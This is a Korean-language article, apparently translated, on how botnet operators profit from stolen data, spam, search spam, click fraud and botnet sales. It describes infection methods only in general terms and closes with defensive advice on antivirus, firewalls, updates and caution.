그러한 작전이 얼마나 수익성이 있는지는 2년 전에 체포된 브라질 사이버 범죄자 그룹의 잘 알려진 이야기를 통해 판단할 수 있습니다. 이들은 컴퓨터에서 훔친 정보를 이용해 일반 이용자의 은행계좌에서 474만 달러를 인출하는 데 성공했다. 문서 위조, 허위 은행 계좌 개설, 불법 거래 등에 연루된 범죄자들도 사용자의 돈과 직접 관련되지 않은 개인 데이터를 얻는 데 관심이 있습니다.

봇넷이 수집하는 또 다른 유형의 정보는 이메일 주소이며, 신용카드나 계좌번호와 달리 감염된 PC 한 대의 주소록에서 많은 이메일 주소가 추출될 수 있습니다. 수집된 주소는 메가바이트 단위로 "대량"으로 판매됩니다. 이러한 "제품"의 주요 구매자는 스팸 발송자입니다. 백만 개의 이메일 주소 목록 비용은 20~100달러이며, 동일한 백만 개의 주소로 스패머에게 주문한 우편물의 비용은 150~200달러입니다. 이점은 분명합니다.

범죄자들은 ​​다양한 유료 서비스와 온라인 상점의 계정에도 관심을 갖고 있습니다. 물론 은행 계좌보다 저렴하지만 구현하면 법 집행 기관의 기소 위험이 낮아집니다.

매일 수백만 개의 스팸 메시지가 전 세계로 유포됩니다. 원치 않는 메일을 보내는 것은 최신 봇넷의 주요 기능 중 하나입니다. Kaspersky Lab에 따르면 전체 스팸의 약 80%가 좀비 네트워크를 통해 전송됩니다. 비아그라, 고가의 시계 사본, 온라인 카지노 등을 광고하는 수십억 통의 편지가 법을 준수하는 사용자의 컴퓨터에서 전송되어 통신 채널과 사서함을 막습니다. 이러한 방식으로 해커는 무고한 사용자의 컴퓨터를 위험에 빠뜨립니다. 메일링이 전송되는 주소는 바이러스 백신 회사의 블랙리스트에 올라갑니다.

최근 몇 년 동안 스팸 서비스 자체의 범위가 확장되었습니다. ICQ 스팸, 소셜 네트워크 스팸, 포럼 및 블로그가 등장했습니다. 그리고 이는 봇넷 소유자의 "장점"이기도 합니다. 결국 봇 클라이언트에 추가 모듈을 추가하는 것은 전혀 어렵지 않습니다. 이는 "Facebook의 스팸"과 같은 슬로건으로 새로운 비즈니스의 지평을 열어줍니다. 저렴하다." 스팸 가격은 대상 고객과 메일링이 전송되는 주소 수에 따라 다릅니다. 타겟 메일링의 가격은 수십만 개의 주소에 대해 70달러부터 수천만 개의 주소에 대해 1,000달러까지 다양합니다. 지난 해 스패머들은 이메일을 보내 약 7억 8천만 달러를 벌었습니다.

검색 스팸 만들기

봇넷의 또 다른 사용 사례는 검색 엔진에서 웹 사이트의 인기를 높이는 것입니다. 검색 엔진 최적화 작업을 할 때 리소스 관리자는 검색 결과에서 사이트의 위치를 ​​높이려고 노력합니다. 사이트의 위치가 높을수록 검색 엔진을 통해 사이트를 방문하는 방문자가 많아지고 사이트 소유자의 수익도 커지기 때문입니다. 웹페이지의 광고 공간 판매로 인해 발생합니다. 많은 회사에서는 웹사이트를 검색 엔진의 상위 순위에 올리기 위해 웹마스터에게 많은 돈을 지불합니다. 봇넷 소유자는 일부 기술을 활용하여 검색 엔진 최적화 프로세스를 자동화했습니다.

LiveJournal의 게시물에 대한 댓글이나 사진 호스팅 사이트에 게시된 성공적인 사진에서 귀하가 모르는 사람, 때로는 귀하의 "친구"가 만든 많은 링크를 볼 때 놀라지 마십시오. 리소스를 소유자 봇넷으로 승격하도록 명령했습니다. 특별히 제작된 프로그램이 좀비 컴퓨터에 다운로드되고 소유자를 대신하여 홍보 중인 사이트에 대한 링크와 함께 인기 있는 리소스에 댓글을 남깁니다. 불법 검색 스팸 서비스의 평균 가격은 월 300달러 정도입니다.

개인 데이터 비용은 얼마입니까?

도난당한 개인 데이터의 비용은 정당한 소유자가 거주하는 국가에 따라 다릅니다. 예를 들어, 미국 거주자의 전체 데이터 비용은 5-8달러입니다. 암시장에서는 유럽 연합 거주자의 데이터가 특히 중요합니다. 이는 미국과 캐나다 시민의 데이터보다 2~3배 더 비쌉니다. 이는 그러한 데이터가 모든 EU 국가의 범죄자에 의해 사용될 수 있다는 사실로 설명될 수 있습니다. 한 사람에 대한 전체 데이터 패키지의 전 세계 평균 가격은 약 7달러입니다.

불행하게도 봇넷을 처음부터 구성하기로 결정한 사람들에게는 인터넷에서 좀비 네트워크를 만드는 방법에 대한 지침을 찾는 것이 어렵지 않을 것입니다. 첫 번째 단계: 새로운 좀비 네트워크를 만듭니다. 이렇게 하려면 특수 프로그램인 봇을 사용하여 사용자의 컴퓨터를 감염시켜야 합니다. 감염의 경우 스팸 메일 발송, 포럼 및 소셜 네트워크에 메시지 게시 및 기타 기술이 사용됩니다. 봇에는 바이러스나 웜과 같은 자체 전파 기능이 탑재되어 있는 경우가 많습니다.

잠재적인 피해자가 봇을 설치하도록 강제하기 위해 사회 공학 기술이 사용됩니다. 예를 들어, 특수 코덱을 다운로드해야 하는 흥미로운 비디오를 시청할 것을 제안합니다. 물론 이러한 파일을 다운로드하고 실행한 후에 사용자는 어떤 비디오도 볼 수 없으며 대부분 변경 사항을 전혀 눈치채지 못할 것이며 그의 PC는 감염되어 모든 명령을 수행하는 순종적인 하인이 됩니다. 봇넷 소유자의.

두 번째로 널리 사용되는 봇 감염 방법은 드라이브 바이 다운로드입니다. 사용자가 감염된 웹페이지를 방문하면 주로 널리 사용되는 브라우저의 애플리케이션에 있는 다양한 "구멍"을 통해 악성 코드가 사용자의 컴퓨터에 다운로드됩니다. 약점을 이용하기 위해 특별한 프로그램이 사용됩니다. 이를 통해 자동으로 다운로드할 수 있을 뿐만 아니라 바이러스나 봇을 자동으로 시작할 수도 있습니다. 이러한 유형의 악성 코드 배포는 가장 위험합니다. 왜냐하면 인기 있는 리소스가 해킹되면 수만 명의 사용자가 감염될 것이기 때문입니다!

봇에는 컴퓨터 네트워크를 통한 자체 전파 기능이 탑재될 수 있습니다. 예를 들어 사용 가능한 모든 실행 파일을 감염시키거나 네트워크에서 취약한 컴퓨터를 검색하여 감염시키는 방식으로 확산될 수 있습니다.

봇넷 작성자는 봇넷 명령 센터를 사용하고 IRC 채널, 웹 연결 또는 기타 사용 가능한 수단을 통해 봇과 통신하여 의심하지 않는 사용자의 감염된 컴퓨터를 제어할 수 있습니다. 봇넷이 소유자에게 수익을 창출하기 시작하려면 수십 대의 시스템을 네트워크에 연결하는 것만으로도 충분합니다. 더욱이, 이 수입은 좀비 네트워크의 안정성과 성장률에 선형적으로 의존합니다.

PPC(Pay-per-Click) 방식으로 운영되는 온라인 광고 회사는 인터넷에 게시된 광고 링크의 고유한 클릭에 대해 비용을 지불합니다. 봇넷 소유자에게 이러한 회사를 속이는 것은 수익성 있는 사업입니다. 예를 들어, 잘 알려진 Google AdSense 네트워크를 사용할 수 있습니다. 여기에 포함된 광고주는 방문하는 사용자가 광고에서 무언가를 구매할 것이라는 희망으로 게시된 광고에 대한 클릭에 대해 Google에 비용을 지불합니다.

그러면 Google은 AdSense 프로그램에 참여하는 다양한 사이트에 문맥 광고를 게재하고 사이트 소유자에게 클릭당 일정 비율을 지불합니다. 아쉽게도 모든 웹사이트 소유자가 정직한 것은 아닙니다. 좀비 네트워크를 사용하면 해커는 Google의 의심을 크게 불러일으키지 않고도 각 시스템에서 하나씩 하루에 수천 건의 고유한 클릭을 생성할 수 있습니다. 따라서 광고 캠페인에 지출된 돈은 해커의 주머니로 흘러 들어갈 것입니다. 안타깝게도 아직까지 이러한 행위에 대해 책임을 지는 사례는 단 한 건도 없습니다. Click Forensics에 따르면 2008년 광고 링크에 대한 전체 클릭의 약 16~17%가 가짜였으며 그 중 최소 1/3은 봇넷에 의해 생성되었습니다. 간단한 계산을 수행해 보면 작년에 봇넷 소유자가 33,000,000달러를 "획득"했다는 것을 알 수 있습니다. 마우스 클릭으로 좋은 수입을 얻으세요!

공격자와 부정직한 사업가가 반드시 처음부터 스스로 봇넷을 만들 필요는 없습니다. 예를 들어 전문 포럼을 통해 해커로부터 다양한 크기와 성능의 봇넷을 구매하거나 대여할 수 있습니다.

완성된 봇넷의 비용과 임대 비용은 포함된 컴퓨터 수에 따라 직접적으로 달라집니다. 기성 봇넷은 영어 포럼에서 가장 인기가 높습니다.

수백 개의 봇으로 구성된 소규모 봇넷의 가격은 200~700달러입니다. 동시에 한 봇의 평균 가격은 약 50센트입니다. 봇넷이 클수록 비용이 더 많이 듭니다.

몇 년 전 네덜란드 출신의 19세 해커가 만든 좀비 네트워크 섀도우(Shadow)는 전 세계 10만 대 이상의 컴퓨터로 구성되었으며 25,000유로에 판매되었습니다. 이 돈으로 스페인에서는 작은 집을 살 수 있지만 브라질의 한 범죄자는 봇넷을 구입하기로 결정했습니다.

봇넷 보호 도구

1. 우선, 정기적으로 업데이트되는 데이터베이스를 통해 인터넷 위협으로부터 보호하기 위한 안티 바이러스 프로그램과 포괄적인 패키지입니다. 그들은 적시에 위험을 감지하는 데 도움이 될 뿐만 아니라 좀비로 변한 충실한 "철의 친구"가 스팸이나 "드롭" 사이트를 보내기 시작하기 전에 위험을 제거하는 데에도 도움이 될 것입니다. Kaspersky Internet Security 2009와 같은 종합 패키지에는 공통 명령 센터를 통해 관리할 수 있는 전체 보안 기능 세트가 포함되어 있습니다.

안티 바이러스 모듈은 백그라운드에서 중요한 시스템 영역을 검사하고 가능한 모든 바이러스 침입 경로(이메일 첨부 파일 및 잠재적으로 위험한 웹사이트)를 모니터링합니다.

방화벽은 개인용 컴퓨터와 인터넷 간의 데이터 교환을 모니터링합니다. 인터넷에서 받거나 인터넷으로 전송되는 모든 데이터 패킷을 검사하고, 필요한 경우 네트워크 공격을 차단하고 개인 데이터가 비밀리에 인터넷으로 전송되는 것을 방지합니다.

스팸 필터는 광고 메시지가 침투하지 않도록 사서함을 보호합니다. 또한 공격자가 사용자로부터 온라인 결제 또는 뱅킹 시스템에 대한 로그인 자격 증명에 대한 정보를 추출하려고 시도하는 피싱 이메일을 식별하는 작업도 포함됩니다.

2. 운영 체제, 웹 브라우저 및 기타 응용 프로그램을 정기적으로 업데이트합니다. 개발자는 보호의 많은 허점과 공격자가 악용하는 약점을 감지하고 제거합니다.

3. 특수 암호화 프로그램은 봇이 이미 컴퓨터에 침투한 경우에도 개인 데이터를 보호합니다. 봇이 컴퓨터에 액세스하려면 암호를 해독해야 하기 때문입니다.

4. 상식과 주의. 다양한 유형의 위협으로부터 데이터를 보호하려면 출처를 알 수 없는 프로그램을 다운로드 및 설치하지 말고, 바이러스 백신 경고에도 불구하고 파일이 포함된 아카이브를 열지 말고, 브라우저에서 위험하다고 표시한 사이트를 방문해서는 안 됩니다.

자료 준비에 도움을 주신 Kaspersky Lab에 감사드립니다.